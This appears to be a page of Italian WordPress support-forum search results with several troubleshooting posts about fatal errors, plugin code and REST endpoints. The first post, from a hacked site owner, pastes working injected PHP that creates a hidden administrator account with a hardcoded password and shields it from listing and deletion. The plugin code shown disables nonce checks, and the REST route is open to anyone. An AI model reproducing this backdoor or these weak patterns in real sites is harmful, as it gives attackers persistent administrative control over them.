Risultati della ricerca per 'Wordpress wp_error'

Stai vedendo 8 risultati - da 1 a 8 (di 8 totali)
    • Buongiorno, il mio sito presenta negli header di tutte le finestre il seguente testo php. Penso di essere stato hackerato, come posso ripristinare la situazione iniziale? ho aggiornato wordpress e sostituito tutte le cartelle di base con cartelle pulite.

      min_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Adminroot', 'user_pass' => 'r007pd8skdgSejrd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }

    • enricotv

      (@enricotv)


      Ciao a tutti,

      dopo i due più recenti aggiornamenti di wordpress non mi funziona più un plugin che genera post di una determinata categoria derivante dalla compilazione di moduli di CF7.
      L’ho controllato e ricontrollato eppure niente da fare, con il debug di wordpress mi esce il seguente errore:

      Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function “add_author_support_to_posts” not found or invalid function name in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php:324

      Stack trace: 0 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters() 1 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/plugin.php(517): WP_Hook->do_action() 2 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-settings.php(643): do_action() 3 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-config.php(82): require_once(‘…’) 4 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-load.php(50): require_once(‘…’) 5 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-blog-header.php(13): require_once(‘…’) 6 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/index.php(17): require(‘…’) 7 {main} thrown in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php on line 324

      Questo di seguito alla fine è il codice php del plugin, so che è lunghetto ma se qualcuno gentilmente mi aiuta a trovar l’errore gliene sarei molto grato.
      Grazie infinite

      Enrico

      <?php
      
      if (!defined('ABSPATH')) {
          exit;
      }
      
      /**
       * Our main plugin class
       */
      class CF7_To_WP
      {
      
          /**
           * The single instance of cf7_to_wp.
           * @var     object
           */
          private static $_instance = null;
      
          /**
           * Settings class object
           * @var     object
           */
          public $settings = null;
      
          /**
           * The version number.
           * @var     string
           */
          public $_version;
      
          /**
           * The token.
           * @var     string
           */
          public $_token;
      
          /**
           * The main plugin file.
           * @var     string
           */
          public $file;
      
          /**
           * The main plugin directory.
           * @var     string
           */
          public $dir;
      
          /**
           * The plugin assets directory.
           * @var     string
           */
          public $assets_dir;
      
          /**
           * The plugin assets URL.
           * @var     string
           */
          public $assets_url;
      
          /**
           * Our post type slug.
           *
           * @var string
           */
          private $post_type = 'cf7_form_messages';
      
          /**
           * Constructor function.
           * @access  public
           */
          public function __construct($file = '', $version = '0.1')
          {
              $this->_version = $version;
              $this->_token = 'cf7_to_wp';
      
              // Load plugin environment variables
              $this->file = $file;
              $this->dir = dirname($this->file);
              $this->assets_dir = trailingslashit($this->dir) . 'assets';
              $this->assets_url = esc_url(trailingslashit(plugins_url('/assets/', $this->file)));
      
              // Handle localization
              $this->load_plugin_textdomain();
              add_action('init', array($this, 'load_localization'), 0);
          }
      
          /**
           * Initialize all the things!
           */
          public function init()
          {
              // Register Messages post type.
              add_action('init', array($this, 'register_form_msg_post_type'));
              add_filter('add_menu_classes', array($this, 'menu_msg_form_bubble'));
              add_filter('post_row_actions', array($this, 'action_row_for_msg_posts'), 10, 2);
              add_action('admin_init', [$this, 'maybe_mark_form_message_as_read']);
              add_filter('wpcf7_verify_nonce', '__return_true');
      
              // Hook into CF7 actions.
              add_filter('wpcf7_editor_panels', array($this, 'add_cf7_panel'));
              add_action('wpcf7_after_save', array($this, 'save_cf7_data'), 50, 1);
              add_action('wpcf7_mail_sent', array($this, 'create_post_on_form_submission'), 50, 1);
              add_action('wpcf7_mail_failed', array($this, 'create_post_on_form_submission'), 50, 1);
              add_action('init', 'add_author_support_to_posts');
              add_filter('wpcf7_verify_nonce', '__return_true');
          }
      
          /**
           * Load plugin localisation
           */
          public function load_localization()
          {
              load_plugin_textdomain('cf7_to_wp', false, dirname(plugin_basename($this->file)) . '/lang/');
          }
      
          /**
           * Load plugin textdomain
           */
          public function load_plugin_textdomain()
          {
              $domain = 'cf7_to_wp';
              $locale = apply_filters('plugin_locale', get_locale(), $domain);
              load_textdomain($domain, WP_LANG_DIR . '/' . $domain . '/' . $domain . '-' . $locale . '.mo');
              load_plugin_textdomain($domain, false, dirname(plugin_basename($this->file)) . '/lang/');
          }
      
          /**
           * Register our post type to store messages.
           */
          public function register_form_msg_post_type()
          {
              register_post_type(
                  $this->post_type,
                  array(
                      'labels' => array(
                          'name' => __('Pratiche', 'cf7_to_wp'),
                          'singular_name' => __('Pratica', 'cf7_to_wp'),
                          'add_new' => __('Aggiungi nuova', 'cf7_to_wp'),
                          'add_new_item' => __('Aggiungi nuova pratica', 'cf7_to_wp'),
                          'edit' => __('Modifica', 'cf7_to_wp'),
                      ),
                      'description' => 'Pratiche e Servizi',
                      'has_archive' => true,
                      'publicly_queryable' => true,
                      'capability_type' => 'post',
                      'menu_position' => 32,
                      'show_ui' => true,
                      'show_in_menu' => true,
                      'public' => true,
                      'query_var' => true,
                      'menu_icon' => 'dashicons-buddicons-pm',
                      'taxonomies' => array('category'),
                      'supports' => array(
                          'author',
                          'title',
      					'category',
                          'editor',
                          'excerpt',
                          'trackbacks',
                          'page-attributes',
                          'custom-fields',
                          'thumbnail',
                          'sticky',
                      ),
                  )
              );
          }
      
          /**
           * Add bubble to admin menu
           *
           * @param array $menu
           * @return array $menu
           */
          public function menu_msg_form_bubble($menu)
          {
              $form_messages_count = wp_count_posts($this->post_type);
              $pending_count = $form_messages_count->draft + $form_messages_count->pending;
      
              foreach ($menu as $menu_key => $menu_data) {
                  if ("edit.php?post_type={$this->post_type}" !== $menu_data[2]) {
                      continue;
                  }
      
                  $menu[$menu_key][0] .= " <span class='update-plugins count-$pending_count'><span class='plugin-count'>" . number_format_i18n($pending_count) . '</span></span>';
              }
      
              return $menu;
          }
      
          /**
           * Add "Mark as read" action for our post type
           *
           * @param array $actions
           * @param WP_Post $post
           * @return array $actions
           */
          public function action_row_for_msg_posts($actions, $post)
          {
              if ($post->post_type === $this->post_type && $post->post_status !== 'publish') {
                  $actions['mark_as_read'] = sprintf(
                      '<a href="%s" class="aria-button-if-js" aria-label="%s">%s</a>',
                      wp_nonce_url("edit.php?post_type={$this->post_type}&action=mark_as_read&message_id={$post->ID}", "mark_message_as_read_{$post->ID}"),
                      esc_attr(__('Mark as read', 'cf7_to_wp')),
                      __('Mark as read', 'cf7_to_wp')
                  );
              }
      
              return $actions;
          }
      
          /**
           * Mark form message as read
           */
          public function maybe_mark_form_message_as_read()
          {
              if (isset($_GET['action']) && $_GET['action'] == 'mark_as_read' && isset($_GET['message_id'])) {
                  $message_id = (int) $_GET['message_id'];
      
                  if (isset($_GET['_wpnonce']) && wp_verify_nonce($_GET['_wpnonce'], "mark_message_as_read_{$message_id}")) {
                      $updated_post = wp_update_post(
                          array(
                              'ID' => $message_id,
                              'post_status' => 'publish',
                          )
                      );
      
                      wp_redirect(wp_get_referer());
                      exit();
                  }
              }
          }
      
          /**
           * Add new panel to CF7 form settings
           *
           * @param array $panels
           * @return array
           */
          public function add_cf7_panel($panels)
          {
              $panels['cf7-to-wp'] = array(
                  'title' => __('Salva messaggi', 'cf7_to_wp'),
                  'callback' => array($this, 'cf7_to_wp_form_metabox'),
              );
      
              return $panels;
          }
      
          /**
           * Output the content of our panel/metabox
           *
           * @param WPCF7_ContactForm $post CF7 object
           */
          public function cf7_to_wp_form_metabox($post)
          {
              $id = $post->id();
              $cf7towp = get_post_meta($id, '_cf7towp', true);
              $cf7towp = wp_parse_args(
                  $cf7towp,
                  array(
                      'active' => 0,
                      'title' => '',
                      'content' => '',
                      'category' => 0,
                  )
              );?>
      
      		<p style="margin-bottom:1em; font-size:1.25em;">
      			<?php _e('Abilitando la casella sottostante ogni modulo inviato compilato verrà pubblicato come nuovo articolo "Pratiche" privato.', 'cf7_to_wp');?>
      		</p>
      
      		<div class="mail-field" style="margin-bottom:1em;">
      			<label for="cf7towp-active">
      				<input type="checkbox" id="cf7towp-active" name="wpcf7-cf7towp-active" value="1" <?php checked($cf7towp['active'], 1);?> />
      				<strong><?php echo esc_html(__('Salvare i moduli compilati come articoli "Pratiche"?', 'cf7_to_wp')); ?></strong>
      			</label>
      
      		</div>
      
      		<div class="pseudo-hr"></div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-category"><?php echo esc_html(__('Categoria dell\'articolo', 'cf7_to_wp')); ?></label>
      				<select id="cf7towp-category" name="wpcf7-cf7towp-category">
      					<?php $this->get_category_options($id)?>
      				</select>
      			</p>
      		</div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-title"><?php echo esc_html(__('Titolo dell\'articolo', 'cf7_to_wp')); ?></label>
      				<input type="text" id="cf7towp-title" name="wpcf7-cf7towp-title" class="large-text" value="<?php echo esc_attr($cf7towp['title']); ?>" />
      			</p>
      		</div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-content"><?php echo esc_html(__('Contenuto dell\'articolo', 'cf7_to_wp')); ?></label>
      				<textarea id="cf7towp-content" name="wpcf7-cf7towp-content" cols="100" rows="10" class="large-text"><?php echo esc_attr($cf7towp['content']); ?></textarea>
      			</p>
      		</div>
      
      		<hr>
      
      		<p class="description" style="margin-top:.5em;">
      			<span style="float:left; width:60%;">
      				<?php _e('Usa i classici CF7 [mail-tag] per i contenuti dinamici nel titolo e nel contenuto (li trovi sulla tab Mail).', 'cf7_to_wp');?>
      			</span>
      			<span style="text-align:right; float:right; width:40%;">
      				<?php
      $credits_link = '<a target="_blank" href="https://github.com/psaikali/contact-form-to-wp-posts">Fonte</a>';
              printf(__('A Contact Form 7 addon by %1$s', 'cf7_to_wp'), $credits_link);
              ?>
      			</span>
      		</p>
      
      		<hr>
      	<?php }
      
          /**
           * Get category field data
           */
      
          public function get_category_options($id)
          {
      
              $cf7towp = get_post_meta($id, '_cf7towp', true);
              $cf7towp = wp_parse_args(
                  $cf7towp,
                  array(
                      'active' => 0,
                      'title' => '',
                      'content' => '',
                      'category' => 0,
                  )
              );
      
              $args = array(
                  'taxonomy' => 'category',
                  'hide_empty' => false,
              );
      
              $terms = get_terms($args);
      
              foreach ($terms as $term) {
                  $options .= '<option value="' . $term->term_id . '" ' . selected($cf7towp['category'], $term->term_id, true) . '>' . $term->name . '</option>';
              }
      
              echo $options;
      
          }
      
          /**
           * Save metabox/tab data when CF7 form settings page is saved.
           *
           * @param WPCF7_ContactForm $contact_form
           */
          public function save_cf7_data($contact_form)
          {
              global $user_id;
              $user_id = get_current_user_id();
              $id = $contact_form->id();
              $cf7towp = array();
              $cf7towp['active'] = (!empty($_POST['wpcf7-cf7towp-active']));
      
              if (isset($_POST['wpcf7-cf7towp-title'])) {
                  $cf7towp['title'] = sanitize_text_field($_POST['wpcf7-cf7towp-title']);
              }
      
              if (isset($_POST['wpcf7-cf7towp-content'])) {
                  $cf7towp['content'] = wp_kses_post($_POST['wpcf7-cf7towp-content']);
              }
      
              if (isset($_POST['wpcf7-cf7towp-category'])) {
                  $cf7towp['category'] = wp_kses_post($_POST['wpcf7-cf7towp-category']);
              }
      
              update_post_meta($id, '_cf7towp', $cf7towp);
          }
      
          /**
           * Create a Messages post when form is submitted
           *
           * @param WPCF7_ContactForm $contact_form
           */
      
          public function get_current_user_id()
          {
              if (class_exists('Jwt_Auth_Public')) {
                  $jwt = new \Jwt_Auth_Public('jwt-auth', '1.1.0');
                  $token = $jwt->validate_token(false);
                  if (\is_wp_error($token)) {
                      return false;
                  }
      
                  return $token->data->user->id;
              } else {
                  return false;
              }
          }
      
          public function create_post_on_form_submission($contact_form)
          {
      
              $form_post = $contact_form->id();
              $cf7towp_data = get_post_meta($form_post, '_cf7towp', true);
      
              if ($cf7towp_data['active'] === true) {
                  $submission = WPCF7_Submission::get_instance();
      
                  if ($submission) {
                      $meta = array();
                      $meta['ip'] = $submission->get_meta('remote_ip');
                      $meta['ua'] = $submission->get_meta('user_agent');
                      $meta['url'] = $submission->get_meta('url');
                      $meta['date'] = date_i18n(get_option('date_format'), $submission->get_meta('timestamp'));
                      $meta['time'] = date_i18n(get_option('time_format'), $submission->get_meta('timestamp'));
                  }
      
                  $post_title_template = $cf7towp_data['title'];
                  $post_content_template = $cf7towp_data['content'];
                  $post_category[] = $cf7towp_data['category'];
      
                  $post_title = wpcf7_mail_replace_tags(
                      $post_title_template,
                      array(
                          'html' => true,
                          'exclude_blank' => true,
                          'has_archive' => true,
                      )
                  );
      
                  $post_content = wpcf7_mail_replace_tags(
                      $post_content_template,
                      array(
                          'html' => true,
                          'exclude_blank' => true,
                          'has_archive' => true,
                      )
                  );
      
                  $new_form_msg = wp_insert_post(
      
                      array(
                          'post_type' => $this->post_type,
                          'post_title' => $post_title,
                          'post_content' => $post_content,
                          'post_author' => $current_user -> ID,
                          'post_status' => 'private',
                          'has_archive' => true,
                          'post_category' => $post_category,
                      )
                  );
      
                  if ($submission) {
                      update_post_meta($new_form_msg, 'cf7towp_meta', $meta, );
                  }
              }
          }
      
          /**
           * Main cf7_to_wp singleton instance
           *
           * Ensures only one instance of cf7_to_wp is loaded or can be loaded.
           *
           * @static
           * @see cf7_to_wp()
           * @return Main cf7_to_wp instance
           */
          public static function instance($file = '', $version = '0.1')
          {
              if (is_null(self::$_instance)) {
                  self::$_instance = new self($file, $version);
              }
              return self::$_instance;
          }
      
          /**
           * Cloning is forbidden.
           *
           */
          public function __clone()
          {
              _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
          }
      
          /**
           * Unserializing instances of this class is forbidden.
           *
           */
          public function __wakeup()
          {
              _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
          }
      }
    • Ho creato un plugin custom per ospitare gli endpoint per la creazione di un processo di registrazione custom utilizzando dei tool di frontend come vue.js

      Il plugin l’ho creato nella cartella wp-content/plugin/custom-api-memofly, l’ultima cartella l’ho creata io per ospitare lo script del mio plugin.

      il codice contenuto nel mio script è il segunete:

      <?php
      
      /**
      
       *Plugin Name: Custom API per Memofly
      
       *Plugin URI: https://memofly.it
      
       *Description: Plugin che tiene in piedi tutte le interazioni con il lato WordPress di Memofly verso altri moduli del sito
       *             Es. le richieste di login e registrazione
      
       *Version: 1.0
      
       * Author: Mirco Serra (Flyip)
      
       *Author URI:  https://www.flyip.it/
      
       */
      
      add_action('rest-api-init', function (){
          register_rest_route('custom/v1', '/register',array(
              'methods' => 'POST',
              'callback' => 'api_register_new_user',
              'permission_callback' => function () {
                  return true;
              }
          ));
      });
      
      function api_register_new_user(WP_REST_Request $request): object
      {
          $response = (object)[] ;
          $body = $request.get_body();
          $body = json_encode($body);
          $user = register_new_user(body['username'],$body['password']);
          if(! is_wp_error($user)){
              $response->status = 200;
              $response->message = "OK";
              $response->data->user_id = $user;
          }else{
              $response->status = 501;
              $response->message = $user;
              $response->data->user_id = "";
          }
          return $response;
      }

      Lo script non registra nessun endpoint in quanto quando vado a chiamarlo “https://memofly.it/wp-json/custom/v1/register&#8221; mi risponde con il seguente errore

      {
          "code": "rest_no_route",
          "message": "Nessun percorso fornisce una corrispondenza tra l'URL ed il metodo richiesto.",
          "data": {
              "status": 404
          }
      }

      La pagina su cui ho bisogno di aiuto: [devi essere connesso per vedere il link]

    • Sto sviluppando un tema in wordpress da 0 perché nessuno di quelli già pronti fa al caso mio.

      Nella index ho messo in rotazione gli articoli con sopra il titolo, nel mezzo l’immagine e per finire le varie categorie. Alcuni articoli però hanno meno categorie di altri ed io vorrei che i pezzettini siano tutti della solita altezza. Esiste un qualcosa che mi permetta di fare questo? Stavo pensando di mettere dei tag <br> solo quando le categorie sono poche ma non riesco a capire come inserire il tutto nel mio codice.

      Per capire mi serve questo: SE LE CATEGORIE SONO PIU’ DI TRE METTERE <br> SE SONO MAGGIORI O UGUALI A QUATTRO NON METTERE NIENTE!

      Questo è il codice dove sono presenti le categorie:

      <?php $taxonomy = 'category';       
             $post_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
             $separator = ', ';
             if ( ! empty( $post_terms ) && ! is_wp_error( $post_terms ) ) {
             $term_ids = implode( ',' , $post_terms );
             $terms = wp_list_categories( array(
                                                 'title_li' => '',
                                                 'style'    => 'none',
                                                 'echo'     => false,
                                                 'taxonomy' => $taxonomy,
                                                 'include'  => $term_ids,
                                                 ) );
             $terms = rtrim( trim( str_replace( '<br />',  $separator, $terms ) ), $separator );
             echo  $terms;
            } ?>
      • Questo topic è stato modificato 5 anni, 3 mesi fa da Artgallery75.
    • Buongiorno,
      chiedo aiuto perchè non è più possibile accedere al mio sito web (attivo da poco più di una settimana!!!). Ho cercato di allegare la schermata del tipo di errore, ma non riesco, lo trascrivo qui sotto. Qualcuno mi può aiutare? Premetto che non sono molto pratica, anzi per niente ….
      Grazie a chi mi aiuterà

      Fatal error: Uncaught Error: Call to undefined method WP_Error::get_id() in /home/customer/www/annagarello.it/public_html/wp-content/plugins/elementor/core/kits/manager.php:79 Stack trace: #0 /home/customer/www/annagarello.it/public_html/wp-content/plugins/elementor/core/kits/manager.php(31): Elementor\Core\Kits\Manager->create_default() #1 /home/customer/www/annagarello.it/public_html/wp-content/plugins/elementor/core/kits/manager.php(44): Elementor\Core\Kits\Manager->get_active_id() #2 /home/customer/www/annagarello.it/public_html/wp-content/plugins/elementor/core/kits/manager.php(63): Elementor\Core\Kits\Manager->get_active_kit_for_frontend() #3 /home/customer/www/annagarello.it/public_html/wp-content/plugins/elementor/modules/page-templates/module.php(86): Elementor\Core\Kits\Manager->get_current_settings(‘default_page_te…’) #4 /home/customer/www/annagarello.it/public_html/wp-includes/class-wp-hook.php(287): Elementor\Modules\PageTemplates\Module->template_include(‘/home/customer/…’) #5 /home/customer/www/annagare in /home/customer/www/annagarello.it/public_html/wp-content/plugins/elementor/core/kits/manager.php on line 79

      Si è verificato un errore critico sul tuo sito web.

      Scopri di più riguardo al debug in WordPress.

      La pagina su cui ho bisogno di aiuto: [devi essere connesso per vedere il link]

    • Ho lanciato l’aggiornamento wordpress 5.1 senza aggiornare il tema e wordpress ha generato errore.

      Adesso molte funzioni di wordpress non sono attive, e se prova ad aggiornare o modificare il tema ottengo solo errori

      Fatal error: Call to undefined method WP_Error::has_errors() in /home/h71mtpdb/aziendafacile.com/wp-admin/includes/file.php on line 1504

    • Ciao,
      spero di essere nel posto giusto. Ho fatto un aggiornamento del mio sito personale e l’aggiornamento non è andato a buon fine. Non mi ricordo cosa non si sia aggiornato sta di fatto che mi è uscito il fatal error 500 🙁 Un mio amico mi ha detto che ho fatto una ca@@ata nel voler aggiornare senza un backup e che sicuramente ho perso tutto…
      Mi trovo quindi a chiedervi se davvero è così…
      Leggendo in giro ho scaricato il file “wp-config.php” e ho impostato il valore “true” per attivare il debug
      L’errore che mi riporta è questo
      Fatal error: Cannot redeclare is_wp_error() (previously declared in http://www.stefanodellolio.com/htdocs/wordpress/wp-includes/load.php:1072) in http://www.stefanodellolio.com/htdocs/wordpress/wp-includes/class-wp-error.php on line 218

      Potete darmi una mano?
      Vi ringrazio.
      Stefano

      • Questo topic è stato modificato 9 anni, 2 mesi fa da Cristiano Zanca.
      • Questo topic è stato modificato 9 anni, 2 mesi fa da Guido Scialfa. Motivo: Nascondi path
    Moderator Guido Scialfa

    (@wido)

    Se vuoi evitare di creare l’utente devi agganciarti a qualche altra hook, perchè user_register viene effettuata alla fine, dopo che l’utente si è registrato e sono state effettuate le operazioni di update dei meta.

    Prova ad agganciarti a pre_user_login, di seguito la porzione di codice interessata in cui puoi vedere che se $pre_user_login è un valore non positivo, viene ritornato un WP_Error. In questo modo puoi fare i tuoi controlli e ritornare come valore della callback agganciata a pre_user_login una stringa vuota. Verrà così validata come vuota e la funzione non creerà l’utente. Se invece i tuoi controlli sui metadati andassero a buon fine ti basterà ritornare lo stesso valore che viene passato alla callback $sanitized_user_login.

    
    /**
    	 * Filters a username after it has been sanitized.
    	 *
    	 * This filter is called before the user is created or updated.
    	 *
    	 * @since 2.0.3
    	 *
    	 * @param string $sanitized_user_login Username after it has been sanitized.
    	 */
    	$pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
    
    	//Remove any non-printable chars from the login string to see if we have ended up with an empty username
    	$user_login = trim( $pre_user_login );
    
    	// user_login must be between 0 and 60 characters.
    	if ( empty( $user_login ) ) {
    		return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
    	} elseif ( mb_strlen( $user_login ) > 60 ) {
    		return new WP_Error( 'user_login_too_long', __( 'Username may not be longer than 60 characters.' ) );
    	}
    

    Riguardo invece all’update dei meta dell’utente, sposta tutto in questo filtro insert_user_meta così tieni separate le due cose. La callback dovrebbe ritornare un array associativo con meta_key => meta_value.

    Quindi Per intenderci:

    
    function my_test_user_meta( $sanitized_user_login ) {
        // Faccio i test sui valori in $_POST
        // Se tutto ok ritorno $sanitized_user_login senza modifiche
        // Altrimenti ritorno stringa vuota ''
    }
    add_filter( 'pre_user_login', 'test_user_meta' );
    
    function my_add_extra_user_meta( $meta, $user, $update ) {
        // Non faccio nulla se la funzione è richiamata durante 
        // l'update di un utente.
        if ( $update ) {
            return $meta;
        }
    
        // Inserisco nell'array $meta i miei nuovi valori se esistono.
        // E se sono valori validi vedi https://codex.wordpress.org/Data_Validation per maggiori info.
    
        return $meta;
    }
    add_filter( 'insert_user_meta', 'my_add_extra_user_meta', 10, 3 );
    

    Se vuoi puoi dare uno sguardo al file /wp-includes/user.php riga 1387 ( più o meno ) la funzione è wp_insert_user. Trovi tutto al suo interno e vedrai come vengono manipolati i dati.

    • Questa risposta è stata modificata 9 anni, 9 mesi fa da Guido Scialfa. Motivo: tag code
    • Questa risposta è stata modificata 9 anni, 9 mesi fa da Guido Scialfa. Motivo: more info
Stai vedendo 8 risultati - da 1 a 8 (di 8 totali)